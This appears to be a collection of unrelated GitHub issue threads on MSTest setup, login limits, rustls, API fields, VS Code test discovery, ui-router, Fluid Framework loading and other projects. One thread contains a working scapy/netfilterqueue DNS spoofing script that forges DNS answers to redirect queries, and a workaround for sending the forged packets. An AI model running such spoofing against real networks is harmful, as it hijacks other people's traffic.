@karanjitsingh Hello Karan, I am able to resolve the issue for now by extended the Test Method and access the test context object. Please let me know once this issue fixed, it'll save a few lines of custom code force to add to handle the Test data file.
I've one more open issue to access the RunId property value, earlier in MsTest we use to get the run Id TestContext.Properties["__Tfs_TestRunId__"]  and that run id is very crucial for us to track the execution through TFS services.
the above issue marked as an enhancement, still waiting to resolve this issue and blocker to move to MsTestV2.
Thanks
Anshul

Hi Anshul,
I hope you have figured it out. If not, then try the following code. It works.
Add the following method in your Base class.
[AssemblyInitialize()]
public static void TestAssemblyInitialize(TestContext testContext)
{
string testDataSourceDirPath = testContext.Properties["TestDataDirectory"].ToString();
DirectoryInfo sourceDir = new DirectoryInfo(testDataSourceDirPath);
        string testDataDestDirPath = ".\\TestData";
        DirectoryInfo destDir = new DirectoryInfo(testDataDestDirPath);

        foreach (FileInfo file in sourceDir.GetFiles("*.*", SearchOption.TopDirectoryOnly))
            file.CopyTo(Path.Combine(destDir.FullName, file.Name), true);
    }

And in your .runsettings file, add the following parameter:


Improvements to the Gen class

Make create() a first class citizen for Gen creation (and avoid the clutter of multiple object : Gen<T> declarations
Add the nullable() gen that allows the creation of nullable values
Inline the create() function
Add a oneOf(Array<T>) function
Simplify the logic of set()
Move nextPrintableString() in the companion object instead of having the method available in each Gen implementation (deprecation of the old nextPrintableString() at error level)

Thanks for your effort. I think we should merge this better into 2.0 branch. See branching model.

I don't like it when we ignore pull requests so my apologies for that @ColinHebert. This is certainly a long time outstanding. Now that 3.0.0 RC1 is out, we can look at your PR and see what we need to apply (the generators have changed somewhat in 3.0.0).


Cannot login with my hundred character password and 2fa

Hi
Trying to log in with my 100 character password, and 2fa enabled account gives me an error Please enter a valid username & password even though I know they're both entirely correct.

I've tried to change my password to a really long one and I get this error from GitHub:

Password is too long (maximum is 72 characters)

How have you manage to set a 100 characters password?

@jonan that is a wonderful question, and I can honestly tell you I don't know. I just counted, the password is 81 characters, which is weird. Wait, i'll try changing my password again and seeing if it works.

@jonan, you're right! They set a maximum for some reason after I changed my password last time. That's odd!

I changed my password, maxed it to 72 characters, and was now able to sign in! Thanks @jonan


Don't use rustls

Its still under development and not fully vetted.
(I contribute from time to time) so I don't want to come down harsh on the Rustls project just throwing it into production isn't a great idea at this point.

What would you recommend in its place?
On Fri, May 5, 2017 at 17:17 Cody Laeder<EMAIL_ADDRESS>wrote:

Its still under development and not fully vetted.
(I contribute from time to time) so I don't want to come down harsh on the
Rustls project just throwing it into production isn't a great idea at this
point.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/linkerd/linkerd-tcp/issues/53, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAOsYq2eUAyAX-gbQBMT_Gl5esVkuCQ4ks5r27wfgaJpZM4NSjBy
.

I've spoken to (another) committer they're cool with it so I guess it's good.👍
Sorry for the drama


Add payment category purpose fields to API docs

Subject to change!
Add fields to the Make a Payment endpoint needed in order to make a SuperStream compliant payment.

Hey team, just a few notes:

your_unique_ref - do we want to continue using the term your ?  I remember "your" being a thing a couple of years back, and we went with it but... does it still make sense? This reference will only get sent on the NPP, and never DE.
do we want to mention the ISO standard? ie, do we want our merchants looking that up and adding any code they want? My initial thoughts were to lock this down, ie, it's an enum that can be blank or PENS (and later maybe TAXS and SALA)

Marking as draft for now.

Closing draft PR


Cannot set the payload

Here is my code
from netfilterqueue import NetfilterQueue
from scapy.all import *

def print_and_accept(raw_pkt):
   # print(raw_pkt.get_payload())
    pkt = IP(raw_pkt.get_payload())
    localIP = "<IP_ADDRESS>"
    if not pkt.haslayer(DNSQR):
        raw_pkt.accept()
    else:
        print("got into spoofing")
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))

        print("spoofed ",  spoofed_pkt)
        raw_pkt.set_payload(str(spoofed_pkt))
        new = IP(raw_pkt.get_payload())
        print("new ", new)
        raw_pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, print_and_accept)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

After the set_payload, when I print the payload , I see the payload same as the input payload.
And I am not the only person who is facing this issue. Similar case here:
http://stackoverflow.com/questions/43319070/netfilterqueue-set-payload-not-work (This issue is raised by another person)
Am I doing something wrong?

I am having this exact same issue, i was wondering if you ever figured out what was going on?  I am using code that has worked before in the past so i don't think it is an error on my part.  I was wondering if there was some update to the kernel that broke this?

I am not sure what is broken in this. And the lack of reply from the contributors did not help either.
So i did a workaround:

Get the raw packet(say, raw_pkt) from netfilterqueue
Using scapy, build a new packet(say, pkt_new) with the desired values.
Drop the raw_pkt
Send the new packet(pkt_new) instead! ( Scapy has a send method to send the packet)

This method works for me and should work in general, unless you want some connection oriented features and the client is expecting sequence id or something. Even in that case, this should work but I haven't tested it!

Thanks for the work around!  Yea it doesn't look like this repo has been active for a little while.

My "workaround" so far ist to use https://github.com/chifflier/nfqueue-bindings. Unfortunately, that works with python2 only and you'll need to compile the C-Extension yourself (with cmake).

@3wille I have tried it earlier. But I don't remember why i did not go with it. Probably it was because of the fact that I need to compile it myself.

I also noticed this behavior when I tried to confirm that I changed the payload by logging it after I used set_payload(). While the log did seem to show that the payload was not modified, when I checked what was actually being sent with Wireshark it did show my modified packet being set. So what we're getting with get_payload() may just be an unmodifiable version of the original payload but what's actually being sent is still the modified payload. I found this with the git version of netfilterqueue (though it may already work in the latest release at this time, 0.8.1), I'm not sure if this was already working this way when this issue was created.

I have now tried this with version 0.8.1 as well and it also works with that (on Python 3.6).

If you take a look at the code, the functions get_payload and set_payload use different variables.
    cpdef set_payload(self, bytes payload):
        """Set the new payload of this packet."""
        self._given_payload = payload

The variable self._given_payload is only used when setting the verdict of the packet with verdict().
I think this issue should be closed :)

If you take a look at the code, the functions get_payload and set_payload use different variables.
    cpdef set_payload(self, bytes payload):
        """Set the new payload of this packet."""
        self._given_payload = payload

The variable self._given_payload is only used when setting the verdict of the packet with verdict().
I think this issue should be closed :)

Thanks for finding out why this problem occurs (and where exactly it is). But I think this issue cannot be closed yet.
The problem is that we have a get-method that doesn't reflect the changes made with the corresponding set-method. Getters and setters are fairly common so I think it's natural that this is the behavior that people expect of them. If this is indeed the intended behavior here, I think this needs to be addressed explicitly. Either through documentation, or just renaming the methods (e.g. get_original_payload() and set_outgoing_payload()). But if these are intended to behave like normal getters and setters, then they should both use the same variable (and behave as expected).
Of course, this is just my opinion on this. And personally, I don't really know what the intended behavior should be here.

Thanks for finding out why this problem occurs (and where exactly it is). But I think this issue cannot be closed yet.
The problem is that we have a get-method that doesn't reflect the changes made with the corresponding set-method. Getters and setters are fairly common so I think it's natural that this is the behavior that people expect of them. If this is indeed the intended behavior here, I think this needs to be addressed explicitly. Either through documentation, or just renaming the methods (e.g. get_original_payload() and set_outgoing_payload()). But if these are intended to behave like normal getters and setters, then they should both use the same variable (and behave as expected).
Of course, this is just my opinion on this. And personally, I don't really know what the intended behavior should be here.


Add "discovery" as a kind for TestRunProfiles

The testing API currently allows for TestRunProfiles with 3 different options for kind: run, debug, or coverage. With the Python extensions upcoming changes to custom args which expands functionality, we would need a discovery kind of profile (see proposal for custom args here). Looking to have this profile be configurable the same way the run button is in the test view when you have multiple configs. Have the discover button (the refresh button) have a dropdown that lists the different configuration options, a default, and a click through option to edit the configs.

I'm not clear on why we need a "discovery" test run profile kind. What kind of results would be reported from a discovery test run? How is it different from the "refresh" action?

The "discovery" run kind would allow the user to have different args configured for their test discovery. It wouldn't necessarily be a "run" event as much as it would just trigger the same "discover tests" event which is triggered by the "refresh" button in the test explorer. From my understanding the refreshHandler does not pass in config I could somehow reference to understand which discovery config in the settings.json the user is referring to.

This seems like we're trying to squeeze test profiles into a place where they don't really belong.
Would it be acceptable for the extension to instead show a quick pick in its refreshHandler if there's >1 profile configured so that the user can pick which profile(s) to refresh that way?

Which is the refreshHandler? That seems like it would be fine if the refreshHandler quick pick / selection was in an intuitive place for users.

The refreshHander is defined on the TestController and is what's invoked when the "refresh" button in the Test Explorer view is called.

Yes this sounds good! Good point that it is not a TesetRunProfile but instead a different style of profile since discovery is a different process.
Would it be possible to have UI where a user can select a default for their discovery profile? My worry is the flow is not as clean if users must click "refresh" -> "select profile" to run every time instead of just "refresh" and then change the default if they do want to switch up their discovery command. We could also opt to do the quickpick for a MVP and make changes later based on what users actual usage looks like.

From discussion: we can have the refreshHandler refresh all configurations, and an extension-contributed command can run discovery with individual configurations. If telemetry usage shows people are using the per-configuration discovery command often, we can consider making some API changes for this.


Migrating from ngRoute to ui-router: issue with directives (either reload, or not refreshed)

In my old app using ngRoute I have an directive that includes a previous() and next() function (button).
Also, I have multiple routes that use the same controller. When I clicked previous or next, the url gets updated and the scope items get updated too without a flickering, becaust it only updated the scope items within the directive, nothing else.
Now I have installed ui-router and there seems to be a big regression. When I now click previous or next, the url gets updated, but the scope items do not get updated with the new values. Also the app now shows a flickering as if the template is reloaded. This while ui-sref-opts="{reload: true}" is NOT set.  If I set this option, of course the values are updated... but because it then updates the whole page it takes a while, which is also not ideal.
Am I missing something, or is ngRoute simply superior with directives compared to ui-router?

ah, this probably has to do with a nested controller in combination with the change to statechange. I will investigate further, but the problem seems to be smaller than I thought.

Ok, I think I got this. I would need to use a resolve function in the state, but if I do that I get "unknown provider", because the same controller is used in the directive as well. Which means that ui-router and directives do not play well together :(

Wow, spend 2 days, just to find out that if you want to use directives like I did... you should not use subviews!!! Now everything is working like it did with ngRoute :) :) sorry for bothering everyone!


CRAYSAT-1751: Update sat version in CSM 1.4

Summary and Scope
Update the version of cray-sat to 3.21.7 to resolve several CVEs reported by Snyk and VTN. See the sat changelog for details.
This same change is being made to the SAT 2.5 product stream.
Issues and Related PRs

Resolves CRAYSAT-1751
Resolves CRAYSAT-1752
The same change is made to the SAT 2.5 product stream here: https://github.com/Cray-HPE/sat-product-stream/pull/57/files

Testing
See PR which create the new cray-sat version in the sat repository for testing details. Tested this new container version on mug.
Risks and Mitigations
Low risk. This just pulls in newer dependencies to fix CVEs, and the new container image was tested on mug.
Pull Request Checklist

[x] Version number(s) incremented, if applicable
[x] Copyrights updated
[x] License file intact
[x] Target branch correct
[x] CHANGELOG.md updated
[x] Testing is appropriate and complete, if applicable
[x] HPC Product Announcement prepared, if applicable

Holding for csm 1.4.3


NoDeltaStream are broken

packages\test\local-server-tests\src\test\noDeltaStream.spec.ts
Couple tests including "doesn't affect normal containers" can be used to demonstrate the problem (they fail if I address the bug described below).
Current flow today that happens in these tests is:

Connection with no storage is started to load
Connection is established first

that triggers this.fetchMissingDeltas("AfterReadConnection") with this.lastQueuedSequenceNumber = 0, as # 4 did not happen yet

Snapshot is loaded and we learn about its sequence number
DeltaManager.attachOpHandler() is called that sets right lastQueuedSequenceNumber

And test uses waitContainerToCatchUp() which does nothing as connection does not provide checkpointSequenceNumber.
So, test works by luck because right async tasks finish before certain checks) (validating content of map) are performed.
It is also gets lucky with # 2 actually succeeding, as it may fail with 410 due to ops being deleted at the beginning of the file (these files are tiny, so it's will not happen in test, but flow is broken).
Production (Bohemia) works Ok, but only because # 2 always happens after # 3. Runtime should work correctly even if it's reversed as in tests. Even with that, it works with ODSP only if IContainerLoadMode.opsBeforeReturn !== undefined (i.e. "cached" or "all"). "cached" only works because ODSP brings ops in snapshot and they get applied with "cached" version before container is returned to host.
Fundamentally this area is broken because loader does not provide any guarantees that Container will be really up to date in these scenarios. Host may use IContainerLoadMode.opsBeforeReturn === "all" to ensure that Container.load() returns with all ops applied, but host would need to know it works with such files upfront, which I assume is not the case (not possible).
We can ensure loader always fire op request to storage no matter what is the sequence of loading events, but ops will come in as they please, thus making it look to the user as if file is live. I do not think that's great experience.
So I think there needs to be some contract with URI resolver to have that info upfront (that this file will use NoDeltaStream) and thus adjust loading flow to fetch and apply all the ops upfront.
I've stumbled on it by fixing # 2 above to not fetch ops from 0, as that's incorrect.

Note that switch (loadMode.opsBeforeReturn)  is likely the right place in Container.load() to make changes if we want to have a policy of always firing ops fetch no matter what. Today, default is "cached", which is enough for ODSP, but will not suffice for other drivers with no ops caching (in snapshot).

@vladsud How can #2 (fetch ops) happen before #3 (fetch snapshot) is the normal case? It seems like we can only guess, so we guess 0 which used to always work, but now fails as we might delete old ops. This doesn't seem unique to NoDeltaStream.
I'm trying to unpack the issues here. It's not immediately clear to me what is "broken" is this case. I guess there is a question if containers loading is this state should be frozen, or not. In the ODSP versioning case, storage will only have a fixed set of ops, and no more will ever arrive. However, it's possible to use NoDeltaStream  against files that are not fixed like ODSP version, so additional changes can flow to storage, and these could also be pulled from storage. I don't necessarily see a problem with that flow, as i think it still fits some definition of storage only. To some degree this has to be the behavior, as in the ODSP version case we don't actually know how many trailing ops there are, so don't know when to stop polling as at some point, we just stop getting more.
It's also not clear what the semantics of  IContainerLoadMode.opsBeforeReturn === "all" really is. The client gets hints from the snapshot, and the deltaconnection about what additional ops exist, but it doesn't really know if that is truly all of them.

We can establish socket connection in parallel to loading snapshot.
Once connection is in, we fetch ops from storage using current seq number, to ensure that we actually get recent ops from storage in case socket is quite ("read" connection) and there is no other indication that client is behind.
Due to incorrect logic (that is addressed in PR mentioned above), we would fetch ops form seq = 1, as default value of current seq = 0 (before opHandler is installed, which happens only after snapshot was loaded and we learned about snapshot seq number).
As for what's broken - remove these headers that I've added as part of PR to see it - I've added to keep the tests passing, but it's incorrect:
noDeltaStream.spec.ts:
        // See issue #7426 - need better long term solution
        const container = await loader.resolve({
            url: documentLoadUrl,
            headers: { [LoaderHeader.loadMode]: { opsBeforeReturn: "all" }},
        });

The problem is that this test uses waitContainerToCatchUp() to propagate changes from live container to the one with noDeltaStream, and waitContainerToCatchUp() does nothing for noDeltaStream containers.
So the only way to fully load such containers (which is applicable in prod, but also makes this test happy), is to ensure that as we load Container, we instruct it to load and apply all the ops in storage before container is loaded and returned.
In prod, we can rely on async fetching of ops for such containers, but user experience would be weird - users will see "live changes" for containers that are not live / frozen in time.
For this tests - it requires some other mechanism (other than waitContainerToCatchUp) to do what test expects.

I think the best design here is for snapshot fetched for such frozen files (sorry, do not remember official name) to indicate to Loader that it's frozen in time and that loader need to fetch all the ops before declaring the end of load sequence. I.e. that such files should overwrite headers and set { [LoaderHeader.loadMode]: { opsBeforeReturn: "all" }} automatically for such files.
That would be ideal, but we currently do not have mechanisms to do so (as there is no way to communicate that info from driver to loader)
And to answer your earlier question - semantic of IContainerLoadMode.opsBeforeReturn === "all" is Container has to fetch and apply all the ops to container before Container.load() promise is satisfied. It ensures that container represents latest state of the file (latest as in - at the time we fetched ops from storage, as if the file is live, then time moves forward and we are always behind).

on an up to date main everything passes even if I remove the header. I even wrote a test to try all combinations of load options and everything still passes
    const loadOptions = [
        undefined,
        ... generatePairwiseOptions<IContainerLoadMode>({
            deltaConnection: [undefined, "none", "delayed"],
            opsBeforeReturn: [undefined, "cached", "all"],
        }),
    ];

    for(const option of generatePairwiseOptions({c1: loadOptions, c2: loadOptions, c3: loadOptions})) {
        it(`Validate Load Modes: ${JSON.stringify(option ?? "undefined")}`, async () => {
            await loadContainer(true) as Container;
            const normalContainer1 = await loadContainer(false, { [LoaderHeader.loadMode]: option.c1}) as Container;
            const normalContainer2 = await loadContainer(false, { [LoaderHeader.loadMode]: option.c2}) as Container;
            const normalDataObject1 = await requestFluidObject<ITestFluidObject>(normalContainer1, "default");
            const normalDataObject2 = await requestFluidObject<ITestFluidObject>(normalContainer2, "default");
            normalDataObject1.root.set("fluid", "great");
            normalDataObject2.root.set("prague", "a city in europe");
            assert.strictEqual(await normalDataObject1.root.wait("prague"), "a city in europe");
            assert.strictEqual(await normalDataObject2.root.wait("fluid"), "great");

            const storageOnlyContainer = await loadContainer(true,  { [LoaderHeader.loadMode]: option.c3}) as Container;
            await Promise.race([
                timeoutPromise(()=>{}),
                waitContainerToCatchUp(storageOnlyContainer)]);
            const storageOnlyDataObject = await requestFluidObject<ITestFluidObject>(storageOnlyContainer, "default");
            assert.strictEqual(await storageOnlyDataObject.root.wait("prague"), "a city in europe");
            assert.strictEqual(await storageOnlyDataObject.root.wait("fluid"), "great");
        });
    }

I do agree that the behavior would be better if IContainerLoadMode.opsBeforeReturn === "all" were true, but what i don't understand is in that case how we could know what "all" means, as we never connect to delta stream, we only have the snapshot and ops, so i don't know how to catch up, as i don't know what to catch up to.


WIP: pinning v3 plugin layout

This PR is WIP because the fixes are not merged in kubebuider
See that it ensures that the specific fixes in #1534 and #1526 applied/found in the PR has done fore we evaluate the plugins https://github.com/kubernetes-sigs/kubebuilder/pull/1498.
Note that will it also address the scenario faced in https://github.com/operator-framework/operator-sdk/pull/3131#discussion_r431834008.
PS. It is passing in the tests: https://travis-ci.org/github/operator-framework/operator-sdk/jobs/692853343 the CI issue here is because of the replace/generated sanity-test. When it be the bump for the kb commit all will work.

Close. It was raised just to allow us to test it and illustrate the scenario.